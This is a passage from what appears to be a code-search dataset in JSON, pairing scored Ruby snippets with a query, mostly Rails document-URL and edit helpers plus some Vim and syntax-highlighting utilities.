"165ffbf60f9cc0af0fb88bfb9979e5f3", "score": "0.64426404", "text": "def document_update(document_id,options)\n if (options[:content])\n make_request(:update,document_url(document_id),{:content => options[:content]})\n end\n if (options[:name] || options[:public])\n params = {}\n params[:documentName] = options[:name] if options[:name]\n params[:public] = options[:public] if options[:public]\n make_request(:update,document_metadata_url(document_id),params)\n end\n end", "title": "" }, { "docid": "498c92d538b8f77dded1c3289d21f2cf", "score": "0.64007175", "text": "def link_to_document(doc, opts={:label=>Blacklight.config[:index][:show_link].to_sym, :counter => nil, :results_view => true})\n label = render_document_index_label(doc, opts)\n doc[:id].include?(\"druid:\") ? doc_id = doc[:id] : doc_id = \"druid:#{doc[:id]}\"\n link_to_with_data(label, catalog_path(doc_id), {:method => :put, :class => label.first.parameterize, :data => opts}).html_safe\n end", "title": "" }, { "docid": "bf7aed7a55d5923c246e57bf0a7a2cfd", "score": "0.63854563", "text": "def url_for_document(doc, _options = {})\n polymorphic_path([preservation, doc])\n end", "title": "" }, { "docid": "09e938589d9782f583e0c6ff8ca0064d", "score": "0.6381288", "text": "def edit_doc_link\n @type=params[:type]\n @msg= {:file=>params[:type]=='DocumentHome'? true:false,:link=>params[:type]=='Link'? true:false }\n if params[:controller_name]=~ /reposit/\n @categories= @company.document_types\n @document_home = @type=='DocumentHome'? @company.repository_documents.find(params[:id]) : @company.links.find(params[:id])\n else\n @document_home = DocumentHome.find(params[:id])\n end\n render :layout => false\n end", "title": "" }, { "docid": "9a4249b64c4a69886d06ec62a9d47775", "score": "0.6369835", "text": "def obj_new_url(obj) #:doc:\n send(\"new_#{generate_path.singularize}_path\", obj) # call your_controller edit path for obj\n end", "title": "" }, { "docid": "6757b6b3b5c413b73732eb990911ace4", "score": "0.6357587", "text": "def link_docs\n # TODO: evaluate how to provide swagger-ui documentations for multiple API versions. Currently WIP...\n \"#{link_generator.root_url}/docs\"\n # \"#{link_generator.root_url}/docs/api/#{object[:name]}\"\n end", "title": "" }, { "docid": "6789e958ab055dde36e1897e8f464fff", "score": "0.6308832", "text": "def uri_for( name, include_rev = true )\n raise ArgumentError, 'Document must have id in order to save an attachment' if document.id.nil? || document.id.empty?\n document.uri + \"/#{CGI.escape( name.to_s )}\" + ( document.rev && include_rev ? \"?rev=#{document.rev}\" : \"\" )\n end", "title": "" }, { "docid": "9f55b0372f1faeb765009ab0d9afc3a8", "score": "0.62535745", "text": "def edit_url\n self.url + \"/edit\"\n end", "title": "" }, { "docid": "00b2c1ab4a509cc284f33c29ef666486", "score": "0.62534827", "text": "def sword_edit_uri\n Utility.find_link_uri(links, \"http://purl.org/net/sword/terms/add\")\n end", "title": "" }, { "docid": "aa44296a78b586b196ba25d7cdcb3c01", "score": "0.62404937", "text": "def editor_url=(_); end", "title": "" }, { "docid": "bffcafa4f3f3dd0dbf24a7d56edaea92", "score": "0.62349766", "text": "def edit_nested_object_url (*args); edit_nested_object_route('url', *extract_object_plus_options(args)); end", "title": "" }, { "docid": "be1f4284c342737f99c259403c500b34", "score": "0.6213425", "text": "def edit\n @book = Book.find_by_url params[:url]\n end", "title": "" }, { "docid": "de1007dcf4f3e51b466acc4590a4df6f", "score": "0.6211814", "text": "def update_url; end", "title": "" }, { "docid": "de1007dcf4f3e51b466acc4590a4df6f", "score": "0.6211814", "text": "def update_url; end", "title": "" }, { "docid": "8e608c65239ee5e07437ca7531d75161", "score": "0.6190675", "text": "def url_for_me(action)\n if action == 'show'\n \"/projects/#{project.to_param}/documents/#{to_param}\"\n else\n \"/projects/#{project.to_param}/documents/#{to_param}/#{action}\"\n end\n end", "title": "" }, { "docid": "8e608c65239ee5e07437ca7531d75161", "score": "0.6190675", "text": "def url_for_me(action)\n if action == 'show'\n \"/projects/#{project.to_param}/documents/#{to_param}\"\n else\n \"/projects/#{project.to_param}/documents/#{to_param}/#{action}\"\n end\n end", "title": "" }, { "docid": "05eaaa5d5586750c595177a8bf168dcb", "score": "0.6179519", "text": "def url_for_document(doc, options = nil)\n valid = doc.is_a?(Blacklight::Document)\n valid ||=\n doc.respond_to?(:to_model) && doc.to_model.is_a?(Blacklight::Document)\n if !valid\n doc\n elsif (route = blacklight_config.show.route).is_a?(String) # NOTE: 0% coverage for this case\n url_for([route, id: doc])\n else\n path = { controller: current_lens_key, action: 'show', id: doc }\n path.merge!(route) if route.is_a?(Hash)\n path.merge!(options) if options.is_a?(Hash)\n path[:controller] = nil if path[:controller] == :current\n path[:controller] ||= params[:controller]\n path\n end\n end", "title": "" }, { "docid": "005552481b14bf90c84cd7eab847203f", "score": "0.61715794", "text": "def edit_resource_link(document)\n active_fedora_model = model_from_document(document)\n unless active_fedora_model.nil?\n return link_to \"Edit resource\", controller: active_fedora_model.tableize, action: \"edit\", id: document.id \n end\n end", "title": "" }, { "docid": "0d25aa38f2069cd19ad290f61cf45af8", "score": "0.6168136", "text": "def documentor_view\n\n end", "title": "" }, { "docid": "9bf51ccf293e9d6bc571c6569612acec", "score": "0.6163464", "text": "def edit_url(object)\n eval(\"edit_#{object.class.name.underscore}_url\")\n end", "title": "" }, { "docid": "59c5f99112c23e5efc3d25bc3ee456de", "score": "0.6153129", "text": "def update_url=(_arg0); end", "title": "" }, { "docid": "b86bc59d1a1db5f820e72525ec110c3e", "score": "0.61521995", "text": "def documentation_url; end", "title": "" }, { "docid": "b86bc59d1a1db5f820e72525ec110c3e", "score": "0.61521995", "text": "def documentation_url; end", "title": "" }, { "docid": "117d5bce61506209f5e571d3e82a5a96", "score": "0.60866433", "text": "def open_url= open_url\n self[:open_url] = open_url\n @document = nil\n end", "title": "" }, { "docid": "9a9fe148002901982c020c8b230384e6", "score": "0.60587156", "text": "def link_to_document(doc, opts={:label=>Blacklight.config[:index][:show_link].to_sym, :counter => nil, :results_view => true})\n label = render_document_index_label doc, opts\n link_to_with_data(label, catalog_path(doc.id), {:method => :put, :class => label.parameterize, :data => opts}).html_safe\n end", "title": "" }, { "docid": "5e3d5bff2243204301e2b633741134b7", "score": "0.60405266", "text": "def on_create_document(doc)\n doc.alias \"#{operation}\", \"http://www.service-now.com/change_request\"\n end", "title": "" }, { "docid": "714fdc68ec485e4034ba45b3f9dd7312", "score": "0.6004743", "text": "def document_link_provider; end", "title": "" }, { "docid": "e53d69a38d25d339f2e95e4e17d9b92b", "score": "0.6001314", "text": "def url_for_document doc, options = {}\n logger.error \"in url_for_document\"\n if respond_to?(:blacklight_config) and\n blacklight_config.show.route and\n (!doc.respond_to?(:to_model) or doc.to_model.is_a? SolrDocument)\n route = blacklight_config.show.route.merge(action: :show, id: doc).merge(options)\n route[:controller] = controller_name if route[:controller] == :current\n route\n else\n if doc['active_fedora_model_ssi']\n klass = doc['active_fedora_model_ssi'].to_s.pluralize.underscore\n else\n klass = \"catalog\"\n end\n\n {controller:klass, id: doc.id, action: \"show\"}\n end\n end", "title": "" }, { "docid": "3c40fc0eaf8e52b934b3c21e906812f2", "score": "0.6000858", "text": "def document_path\n key = document.model_name.singular_route_key\n Rails.application.routes.url_helpers.send(\"#{key}_url\", document.id)\n end", "title": "" }, { "docid": "6ef3f0a2fcfba6cb0792a7dd5d69832a", "score": "0.59894", "text": "def update\n @document = Document.find(params[:id])\n @document.description = params[:description]\n @document.file = params[:file]\n @document.dossier_id = params[:dossier_id]\n @document.contact_id = params[:contact_id]\n @document.type_document_id = params[:type_document_id]\n \n @document.save\n \n resp = {\"success\"=>true,\"data\"=>@document.attributes.merge(:short_link => @document.generate_link,:long_link => @document.generate_long_link )}.to_json\n render :text => resp\n end", "title": "" }, { "docid": "76bf060c388cc8495ebd2622d0f5259f", "score": "0.5988869", "text": "def url_for_document(doc, _options = {})\n return [hyrax, doc] if doc.collection?\n [main_app, doc]\n end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.59827554", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.59827554", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.59827554", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.59827554", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.59827554", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.59827554", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.59827554", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.59827554", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.59827554", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.59827554", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.59827554", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.59827554", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.59827554", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.59827554", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.59827554", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.59827554", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.59827554", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.59827554", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.59827554", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.59827554", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.59827554", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.59827554", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.59827554", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.59827554", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.59827554", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.59827554", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.59827554", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.59827554", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.59827554", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.59827554", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.59827554", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.59827554", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.59827554", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.59827554", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.59827554", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.59827554", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.59827554", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.59827554", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.59827554", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.59827554", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.59827554", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.59827554", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.59827554", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.59827554", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.59827554", "text": "def edit; end", "title": "" }, { "docid": "4076cd67fcd1c18fb715348ca5268afd", "score": "0.5975133", "text": "def edit_endpoint(data={})\n create_endpoint(edit_form, data)\n end", "title": "" }, { "docid": "65c0286cb7267b23ae0828b99dff8646", "score": "0.5971017", "text": "def setDocumentURL(documentUrl)\r\n\t\t\t\t\t@documentUrl = documentUrl\r\n\t\t\t\tend", "title": "" }, { "docid": "2dcc9aa67b3ab6437fd72b02be28aeaa", "score": "0.59604996", "text": "def edit # edit single subject on url\n end", "title": "" }, { "docid": "9c6f5846f4c87dd8dffcbbff5253b3e5", "score": "0.59595937", "text": "def generate_url\n \"https://docs.google.com/document/d/#{@pad_id}/edit?hl=en#\"\n end", "title": "" }, { "docid": "6d239ff89a13d37b94bfeaafe86562ee", "score": "0.59574974", "text": "def doc\n share+\"doc\"+name\n end", "title": "" }, { "docid": "00bdb8e9d68215f6a5109af1743002d6", "score": "0.59375244", "text": "def update\n @document = Document.find(params[:id])\n @document.name = params[:name] if params[:name]\n @document.open = params[:open] if params[:open]\n\n if params[:file]\n @document.file_path(params[:file])\n end\n\n if params[:categories]\n @document.update_associations(params[:categories])\n end\n\n hash = {\n id: @document.id,\n doc_path: @document.doc_path,\n open: @document.open\n }\n if @document.save\n render json: hash, status: 200\n else\n render json: @document.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "3114ac9249e4feabc84de841a3434fd1", "score": "0.5924997", "text": "def viewer_url(options = {})\n raise AttributeMissingError, 'Document ID is required to launch viewer' unless (options[:document_id].is_a?(String) && !options[:document_id].empty?) || options[:document_id].is_a?(Integer)\n full_url = options.delete(:full_url) || false\n url_opts = {}\n allowed_query_params_keys = [:document_id, :user_code, :wfma_code]\n formatted_query = query_str(:allowed_query_params_keys => allowed_query_params_keys , :query_params => options)\n relative_path = [@@doc_viewer_path, 'documentviewer'].join('/') + formatted_query\n path = relative_path\n url = full_url ? [@connection.base_url, path].join('/') : path\n return url\n end", "title": "" }, { "docid": "7d0d7459594296d508a62bc42ee36a7e", "score": "0.59240067", "text": "def errata_text_docs_url(errata)\n url_for :controller => 'docs', :action => 'show', :id => errata.id, :only_path => false\n end", "title": "" }, { "docid": "b124316aaa37b650b6dbc8ecb367f2eb", "score": "0.592151", "text": "def url\n resource.url + '/active_docs'\n end", "title": "" } ]
b30115969a9b05954bd6719206792d34
vi: set ft=ruby :
[ { "docid": "d8210d4dd93ce38eb33013856218fa80", "score": "0.0", "text": "def current_definition\n if @current_definition\n return @current_definition\n end\n dump = Ridgepole::Dumper.new.dump\n definition, _ = Ridgepole::DSLParser.new.parse(dump, {})\n @current_definition =definition\nend", "title": "" } ]
[ { "docid": "e3b5aa7fb9019ba714796fec13e3bb5f", "score": "0.5853188", "text": "def enable_indent\n \tVim.command(\"set filetype=#{@filetype}\")\n end", "title": "" }, { "docid": "7aa8cf3a94ceb07fde09c2dbbb1bb333", "score": "0.56426823", "text": "def default_vimrc\n <<-EOS.unindent\n set nocompatible\n syntax on\n EOS\n end", "title": "" }, { "docid": "aff79f76bb47c2a184a22837886e48da", "score": "0.5535451", "text": "def codelines()\r\n TODONOTES.codelines()\r\n end", "title": "" }, { "docid": "20366f160fb78954846e8645b33b6e5d", "score": "0.5512203", "text": "def vim(*args)\n\t\tvi *args\n\tend", "title": "" }, { "docid": "805fb5c9a4b18c7da246859b75bff835", "score": "0.5503737", "text": "def format(ruby)\n if /\\n/ =~ ruby\n lines = ruby.rstrip.to_a\n if /( *)/ =~ lines.first\n if $1.size > 4\n dedent = $1.size - 4\n ruby = lines.map { |l| l[dedent..-1] }.join\n else\n indent = \" \" * (4 - $1.size)\n ruby = lines.map { |l| \"#{indent}#{l}\" }.join\n end\n end\n \"\\n#{ruby}\"\n else\n \"'#{ruby}'\"\n end\n end", "title": "" }, { "docid": "9d841e32d03aab5b944735dc305847a1", "score": "0.5452302", "text": "def vim(*args)\n\t\t\tvi *args\n\t\tend", "title": "" }, { "docid": "9d841e32d03aab5b944735dc305847a1", "score": "0.5452302", "text": "def vim(*args)\n\t\t\tvi *args\n\t\tend", "title": "" }, { "docid": "d16402cba44e15d93781fd4eca7206af", "score": "0.5390189", "text": "def show_ruby(str)\n #TODO: use syntax\n # http://blog.wolfman.com/articles/2006/05/26/howto-format-ruby-code-for-blogs\n str2=str\n str2.gsub!(/('[^']*')/) {\"<span class='quote'>#{$1}</span>\"}\n str2.gsub!(/(#.*)\\n/) { \"<span class='comment'>#{$1}</span>\" }\n str2.gsub!(/(string|integer|boolean|double|float|dateTime|date)/) {\"<span class='data'>#{$1}</span>\"}\n str2.gsub!(/(^| )(type|do|end|method|fault|false|true)/) {\"#{$1}<span class='keyword'>#{$2}</span>#{$3}\"}\n str2.gsub!(/ (:[^=]*)/) {\" <span class='option'>#{$1}</span>\"} \n str2\n end", "title": "" }, { "docid": "2b20768442da4407bf24e2558e6b38dc", "score": "0.53552055", "text": "def codelines()\n TODONOTES.codelines()\n end", "title": "" }, { "docid": "86ee08ad918a2dd476c89f16913725b4", "score": "0.5309383", "text": "def convert_codeblock(codeblock)\n \".nf\\n#{escape(codeblock.value).rstrip}\\n.fi\"\n end", "title": "" }, { "docid": "f06e6085a5af15361a848cb28ba42707", "score": "0.5237543", "text": "def auto_indent_proc; end", "title": "" }, { "docid": "f06e6085a5af15361a848cb28ba42707", "score": "0.5237543", "text": "def auto_indent_proc; end", "title": "" }, { "docid": "821bc969b3bc10df8ab22468e9ea913b", "score": "0.5229701", "text": "def php(mode)\n # 08: s, Stack\n # TODO\n end", "title": "" }, { "docid": "01cafedb51a267470bb8fd6246d674b8", "score": "0.5224054", "text": "def setup_go_filetype\n vim.set(:filetype, 'go')\n end", "title": "" }, { "docid": "01cafedb51a267470bb8fd6246d674b8", "score": "0.5224054", "text": "def setup_go_filetype\n vim.set(:filetype, 'go')\n end", "title": "" }, { "docid": "c8a0c46932d7c030c0ec672de4952e42", "score": "0.51655424", "text": "def rubyize!\n self.definition = Ruote::Reader.to_ruby(tree).strip\n end", "title": "" }, { "docid": "c8a0c46932d7c030c0ec672de4952e42", "score": "0.5165451", "text": "def rubyize!\n self.definition = Ruote::Reader.to_ruby(tree).strip\n end", "title": "" }, { "docid": "80239f68f8ae166ac9ff90ebd198ea20", "score": "0.5158237", "text": "def format_code=(v); end", "title": "" }, { "docid": "c6f2cf978df67b5b7939a5d4a5943ee9", "score": "0.5134716", "text": "def mu_pp(obj)\n super obj.gsub(\"\\n\", '\\n').gsub(\"\\t\", '\\t')\n end", "title": "" }, { "docid": "7c12b45453d47339d8396b79bada2f71", "score": "0.5134011", "text": "def rb_language=(_arg0); end", "title": "" }, { "docid": "9d02511997be077a11cba9256412164c", "score": "0.5082137", "text": "def highlight(code, lang, options = T.unsafe(nil), format = T.unsafe(nil)); end", "title": "" }, { "docid": "b007675f393bc6dd9e742a0d7dce2043", "score": "0.5079028", "text": "def auto_indent_mode; end", "title": "" }, { "docid": "e7f28017f93e4c4562fdceb8677575ad", "score": "0.50772196", "text": "def display_source\r\n system \"vim -p #{@config[\"source\"].inject(\"\"){|list, f| list + \"#{f} \" }}\"\r\n end", "title": "" }, { "docid": "5b52f2dbb3cd502d9f27d2d172a97ba4", "score": "0.5052326", "text": "def emit_file_line_as_literals; end", "title": "" }, { "docid": "b84ee07f7c9beb4267a22acc12b7bcc2", "score": "0.50380445", "text": "def lines_of_code; end", "title": "" }, { "docid": "b84ee07f7c9beb4267a22acc12b7bcc2", "score": "0.50380445", "text": "def lines_of_code; end", "title": "" }, { "docid": "1ced3f3d7be60cebf1776475ea445857", "score": "0.50298303", "text": "def comment_ruby_syntax(line)\n if line == \"end\"\n \"#\" + line\n elsif /do$/ =~ line\n line.insert /do$/ =~ line, \"#\"\n else\n line\n end\nend", "title": "" }, { "docid": "a11c31bb56c5b2957e84cb6bedcfb40d", "score": "0.50258195", "text": "def use_singleline; end", "title": "" }, { "docid": "866fc97c1ece072139fe83666ebc9d59", "score": "0.49921608", "text": "def insert_text_format; end", "title": "" }, { "docid": "cf2bf08e55bffb24fab9e1ae9de6164e", "score": "0.4985216", "text": "def current_file_content\n VIM.evaluate('join(getline(1, \"$\"), \"\\n\")')\n end", "title": "" }, { "docid": "42e3b2d9fbfaaa23e8bfee728124595d", "score": "0.49810836", "text": "def history_to_vi\n handling_jruby_bug do\n file = Tempfile.new(\"irb_tempfile\")\n get_lines(0..(Readline::HISTORY.size - 1)).each do |line|\n file << \"#{line}\\n\"\n end\n file.close\n system(\"vim #{file.path}\")\n end\n end", "title": "" }, { "docid": "4951f5a6f7d9fe6be4b81a054c7173af", "score": "0.49724886", "text": "def highlight(code, options = T.unsafe(nil)); end", "title": "" }, { "docid": "ec3e4f538199e1dc379a1656e11a8eb8", "score": "0.49695447", "text": "def bold;printf \"\\e[1m\";end", "title": "" }, { "docid": "7e044940f5ad4fde29fec7af711bbc03", "score": "0.49659568", "text": "def auto_indent_proc=(_arg0); end", "title": "" }, { "docid": "7e044940f5ad4fde29fec7af711bbc03", "score": "0.49659568", "text": "def auto_indent_proc=(_arg0); end", "title": "" }, { "docid": "bff76b37af57797a3f8c6fa86e51f0f5", "score": "0.49537742", "text": "def format_code; end", "title": "" }, { "docid": "70d8f57bcf97993467586450d2b02b55", "score": "0.49537045", "text": "def ruby(fn = nil, &block)\n# if fn\n# src = include(fn)\n# blk = proc { src }\n# else\n# blk = block\n# end\n coderay :lang => :ruby, &block\nend", "title": "" }, { "docid": "e873a7564e448dacbbac653970e96034", "score": "0.4951725", "text": "def auto_indent_mode=(_arg0); end", "title": "" }, { "docid": "d94adfa564654dd39a622046faa8bf2d", "score": "0.4951048", "text": "def highlight(code, lang, options = T.unsafe(nil)); end", "title": "" }, { "docid": "1bda5474184932d8a7044f003c9471bd", "score": "0.49467963", "text": "def insert_text_mode; end", "title": "" }, { "docid": "1bda5474184932d8a7044f003c9471bd", "score": "0.49467963", "text": "def insert_text_mode; end", "title": "" }, { "docid": "b05093553bed7cc8630e5450a09f64ec", "score": "0.49466014", "text": "def source_line=(_); end", "title": "" }, { "docid": "fb33187d1e37d0c14126f908925a0eb4", "score": "0.49457097", "text": "def HeredocBeg(value); end", "title": "" }, { "docid": "61a670bc824a16bc032641ee68540057", "score": "0.49426022", "text": "def mark_ruby_file_ref(file_ref)\n file_ref.xc_language_specification_identifier = 'xcode.lang.ruby'\n file_ref.explicit_file_type = 'text.script.ruby'\n file_ref.last_known_file_type = 'text'\n file_ref.tab_width = '2'\n file_ref.indent_width = '2'\n end", "title": "" }, { "docid": "b68fcc41a79a6952e79175b25059a58a", "score": "0.49400967", "text": "def execute!\n \tsystem(\"vim #{file} -c 'execute \\\"normal i#{escaped_commands}\\\\<Esc>\\\"' -c 'execute \\\":wq\\\"'\")\n File.read(file)\n end", "title": "" }, { "docid": "e87b82e0583f4935f5ba507498482133", "score": "0.49400663", "text": "def line\n puts \"#######################################################\"\nend", "title": "" }, { "docid": "641a5669b830df48bad36a7aa7385d74", "score": "0.49317646", "text": "def emit_file_line_as_literals=(_arg0); end", "title": "" }, { "docid": "ebe8688aa584d3b5ff8b5fe27fcfca77", "score": "0.49078342", "text": "def with_indentation(&block); end", "title": "" }, { "docid": "3435ab6e4b35d97e69bda2b451dad002", "score": "0.4892642", "text": "def to_rb(*)\n text = rb\n Ruby.new(:text=>text, :file=>refile(:rb), :type=>:rb)\n end", "title": "" }, { "docid": "d52e3ca83196207125c1c697c1024d58", "score": "0.48801377", "text": "def expand_tab!\n self.gsub!(/([^\\t]{8})|([^\\t]*)\\t/n) {[$+].pack(\"A8\")} \n nil\n end", "title": "" }, { "docid": "8ff6d748487235a4118fe031eeddf75f", "score": "0.48800188", "text": "def s\n puts \"#{'i love pUPPIES'.swapcase}\"\nend", "title": "" }, { "docid": "21d73c4e5cc1132da19cb715b0a2bd94", "score": "0.48786706", "text": "def disable_indent\n \t@filetype = Vim.evaluate(\"&filetype\")\n Vim.command(\"set indentexpr=\\\"\\\"\")\n Vim.command(\"set indentkeys=\\\"\\\"\")\n Vim.command(\"if exists(\\\"b:did_indent\\\")\n unlet b:did_indent\nendif\")\n end", "title": "" }, { "docid": "0f6a68fb3120585cb1667c00aca1cdb3", "score": "0.48716488", "text": "def pygmentize(code, language)\n language = language.nil? ? :sh : language\n Pygmentize.process(code, language)\n end", "title": "" }, { "docid": "cdd2a26361d58c01d478cfc1229f841d", "score": "0.48556072", "text": "def rearrange_ruby_tag(targets, upper_ruby, under_ruby = \"\")\n target,upper,under = rearrange_ruby(targets, upper_ruby, under_ruby)\n Aozora2Html::Tag::Ruby.new(self, target,upper,under)\n end", "title": "" }, { "docid": "38883c98fef8212f713f39847f8a6fc8", "score": "0.48454726", "text": "def pygmentize(lexer)\n pygmentize = IO.popen(\"pygmentize -S default -f html -l #{lexer}\", \"w+\") \n pygmentize.puts self\n pygmentize.close_write \n result = pygmentize.gets(nil)\n pygmentize.close\n result\n end", "title": "" }, { "docid": "286b20a2a24190bf45d6bfff985e4b96", "score": "0.48447126", "text": "def save_indent(match); end", "title": "" }, { "docid": "7a6da5dc83de1f55851c542c083b5eb7", "score": "0.4842234", "text": "def source_line; end", "title": "" }, { "docid": "21dbbd8b824d92ee30e4cd63d08b0238", "score": "0.4840286", "text": "def colorize( sf )\n sf.lines.each do |line|\n print \"[#{line.line_no}] \"\n line.tokens.flatten.each do |t|\n case t.type\n when :regex\n print \"\\033[32m\"\n print t.content\n print \"\\033[0m\"\n when :double_q_string, :single_q_string\n print \"\\033[0;36m\" + t.content + \"\\033[0m\"\n when :symbol\n print \"\\033[31m\" + t.content + \"\\033[0m\"\n when :instancevar\n print \"\\033[1;34m\" + t.content + \"\\033[0m\"\n when :comment\n print \"\\033[1;30m\" + t.content + \"\\033[0m\"\n else\n if t.keyword?\n print \"\\033[33m\" + t.content + \"\\033[0m\"\n else\n print t.content\n end\n end\n end\n end\nend", "title": "" }, { "docid": "2e078fd6a8e663b95efbb6dca66f53a1", "score": "0.48380756", "text": "def parse_lang_for_codeblock(source); end", "title": "" }, { "docid": "e9b908d5a9b9d5b4d4b2f57f8584b77a", "score": "0.48253918", "text": "def vi(file=nil, type=:any)\n usage = \"USAGE: vi [name_of_file], [:type]\"\n return usage if file.nil?\n types_to_look_for = %w(controller helper model js rjs css view unit \n functional fixture config layout mailer)\n # determine whether or not we can dissect the file parameter \n if types_to_look_for.include?(file.to_s.split(\"_\").last)\n file_ary = file.to_s.split(\"_\")\n type = file_ary.delete(file_ary.last).to_sym\n file = file_ary.join(\"_\")\n end\n file_path = vi_file_path_for(type, file)\n file.nil? ? puts(usage) : system(\"vi #{file_path}\")\n end", "title": "" }, { "docid": "cb8fd2528f48ebc0b5ccd27d081ab61d", "score": "0.48216367", "text": "def formatted_source_file(source_file); end", "title": "" }, { "docid": "479f3216217666d62fee090aae325361", "score": "0.48213026", "text": "def preformat_fenced_code_block(text)\n text.gsub(/(```.+?```)/im, \"\\n\\\\1\\n\")\n end", "title": "" }, { "docid": "479f3216217666d62fee090aae325361", "score": "0.48213026", "text": "def preformat_fenced_code_block(text)\n text.gsub(/(```.+?```)/im, \"\\n\\\\1\\n\")\n end", "title": "" }, { "docid": "c579e7126e7edcc1782d3bac35ce99f1", "score": "0.48170358", "text": "def tabs=(_arg0); end", "title": "" }, { "docid": "c579e7126e7edcc1782d3bac35ce99f1", "score": "0.48170358", "text": "def tabs=(_arg0); end", "title": "" }, { "docid": "c579e7126e7edcc1782d3bac35ce99f1", "score": "0.48170358", "text": "def tabs=(_arg0); end", "title": "" }, { "docid": "c579e7126e7edcc1782d3bac35ce99f1", "score": "0.48170358", "text": "def tabs=(_arg0); end", "title": "" }, { "docid": "962bc60e960f27f6f6f5e795c5b97093", "score": "0.47994578", "text": "def linedesign\n puts '= = = = ' * 13\nend", "title": "" }, { "docid": "480058405628030c64c41b76f2f0a400", "score": "0.47928545", "text": "def tr; end", "title": "" }, { "docid": "76f78f851d8d1e3a1771755080b8a9f1", "score": "0.47925276", "text": "def highlight_file(filename, options = T.unsafe(nil), format = T.unsafe(nil)); end", "title": "" }, { "docid": "7598127e8c4a324b4b2f216e93198558", "score": "0.47908142", "text": "def use_multiline; end", "title": "" }, { "docid": "fd2fdb80d238eea973080bdda3d16ffd", "score": "0.47907618", "text": "def source_code\n File.foreach(__FILE__) do |line|\n puts line.chomp\n end\nend", "title": "" }, { "docid": "d2465d6daa88573e942e2a3b56d42f40", "score": "0.47887734", "text": "def resetformat\n return \"\\e[0m\"\nend", "title": "" }, { "docid": "c0419c9a8344059d405d64963ff406d5", "score": "0.47830445", "text": "def fileArrayToVim(fileArray, vimScriptFileHandle)\r\n\t\tfileArray.each { |fileData| \t\r\n\t\t\t\r\n\t\t vimScriptFileHandle.puts(\"view \" + fileData.fileName ) \r\n\t\t vimScriptFileHandle.puts(\"set nu\")\r\n\t\t vimScriptFileHandle.puts(\"execute \\\"normal #{fileData.lineNumber}G\\\"\")\r\n\t\t vimScriptFileHandle.puts(\"split\") \r\n\t\t}\r\n\tend", "title": "" }, { "docid": 